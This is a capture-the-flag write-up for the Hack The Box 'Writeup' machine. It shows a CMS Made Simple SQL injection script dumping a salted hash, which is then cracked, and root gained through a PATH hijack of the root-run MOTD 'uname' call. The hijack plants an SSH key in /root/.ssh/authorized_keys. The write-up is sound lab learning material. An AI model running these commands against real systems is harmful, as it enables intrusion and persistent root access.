Writeup was one of the first boxes I did when I joined Hackthebox. It definitely helped to introduce me to basic web enum skills without relying on scripts, exploit finding and local privilege escalation. It had a very interesting path to root, which was tricky to spot but fun to exploit. Summary User - A vulnerability in an open-source content management system allows us to gather hashed credentials, which can be cracked using a wordlist.
Root - An MOTD script is run as root when the user account is logged into, which we can take control of.
User
Enumeration
We start off with a standard nmap
scan. Normally I’d leave one running to scan all ports aggressively, but it wasn’t necessary in this case.
root@clubby789:~# nmap writeup.htb -v
[ ... ]
Discovered open port 80/tcp on 10.10.10.138 <- Web (HTTP)
Discovered open port 22/tcp on 10.10.10.138 <- SSH
We’ll start of by adding 10.10.10.138 writeup.htb
to our /etc/hosts file to make accessing this site easier.
Website
Upon visiting writeup.htb
we are greeted with this page:
So we’ve got DDoS protection in play. If we produce too many 40x errors, we’ll get temporarily banned, which means no automated scanners. At this point, I guessed urls until I came across the fairly obvious /writeup/
.
A quick read of the HTML finds this in the header:
<meta name="Generator" content="CMS Made Simple - Copyright (C) 2004-2019. All rights reserved.">
. At the time, I spotted this quicker because of a very useful Firefox extension Wappalyzer, which identifies many of the client and server-side technologies in use on many sites.
CMSMadeSimple
After a short search, I found this script, which exploits a SQL injection vulnerability in versions of CMSMS 2.2.9 and below.
root@clubby789:~/boxes/writeup# python cms.py -u http://writeup.htb/writeup
[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: [email protected]
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
The script has a built-in function to crack passwords, showing that the format of the hashes was MD5(PASS+SALT) = HASH
(I found the script to be slow so I dropped the hashes into Hashcat).
62def4866937f08cc13bab43bb14e6f7:5a599ef579066807
-> raykayjay9
root@clubby789:~/boxes/writeup# ssh [email protected]
[email protected]'s password:
[ ... ]
user.txt
jkr@writeup:~$ cat user.txt
d4e493....
And we’ve owned user.
Root
Local Enumeration
This part was definitely tricky without being on the free servers. Luckily, I was at the time, and was able to take advantage of two things:
- Somone had uploaded
pspy64s
, an excellent tool for discovering Cron jobs and other time-based things that may be hard to spot - Frequent SSH logins
If I setup two terminal panes, one with
pspy64s
and log in with SSH on the other, we see this: The important part issh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
:
Every time jkr
logs in over SSH, this command is run as root!
Command Hijacking
Let’s break this down:
sh -c
runs everything after-c
insh
/usr/bin/env -i PATH=.....
sets the PATH to the given argument.run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
runs every script in the directory/etc/update-motd.d
, and pipes the output to the MOTD file.
Inside this directory, we find a single file, 10-uname
, which simply runs:
#!/bin/sh
uname -rnsom
This directory and all its contents are owned by root and not writable, so no luck there. Let’s look into the PATH that gets set, and see if we can hijack anything there. I quickly found I could write files to /usr/local/sbin/
. Why’s this important? Here’s a diagram:
writable actual location of uname
| |
V V
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
As uname
’s absolute path is not specified, the system will iterate through the given path to find it, using the first instance it finds. I’ll demonstrate this with a quick POC:
jkr@writeup:/tmp$ echo "touch /tmp/test" > /usr/local/sbin/uname
jkr@writeup:/tmp$ chmod +x /usr/local/sbin/uname
[ ... ]
jkr@writeup:/tmp$ ls /tmp/test -la
-rw-r--r-- 1 root root 0 Feb 3 16:16 /tmp/test
The file is owned by root, which means we have RCE! From here, it’s a quick step to root. I uploaded my public key to /home/jkr/.ssh/authorized_keys
, ran echo "mkdir /root/.ssh/; cp /home/jkr/.ssh/authorized_keys /root/.ssh/authorized_keys" > /usr/local/sbin/uname; chmod +x /usr/local/sbin/uname
to create my script, then logged in to jkr
once more (quickly, as the script gets cleared pretty often). I was then able to log out, and log back in as root!
root@clubby789:~# ssh writeup-root
[ ... ]
root@writeup:~# ls
bin root.txt
root@writeup:~# cat root.txt
eeba47f.....
And we’ve owned root
Final Notes
SSH Tricks
Recently I’ve started making use of the SSH config file, to speed up logging in over SSH. Here’s what mine looked like for this box:
Host writeup
HostName 10.10.10.138
User jkr
Host writeup-root
HostName 10.10.10.138
User root
This allows me to do ssh writeup
or ssh writeup-root
. After uploading my public key to ~/.ssh/authorized_keys
, this means I don’t even need to enter a password.
Cleanup script
I’m always interested in seeing how box creators keep their machines stable for other players. While in /root, I noticed cleanup.pl
, which looks like this:
root@writeup:~# cat bin/cleanup.pl
#!/usr/bin/perl
my $age = 60;
while ($_ = glob('/usr/local/sbin/* /usr/local/bin/*')) {
next if -d $_;
my $mtime = (stat($_))[9];
# delete files older than 3 minutes
# to try to not spoil others
if(time-$mtime > $age) {
unlink($_);
}
}
This checks the age of all files in /usr/local/sbin (or /usr/local/bin)
and deletes any older than 1 minute ( not 3 as advertised).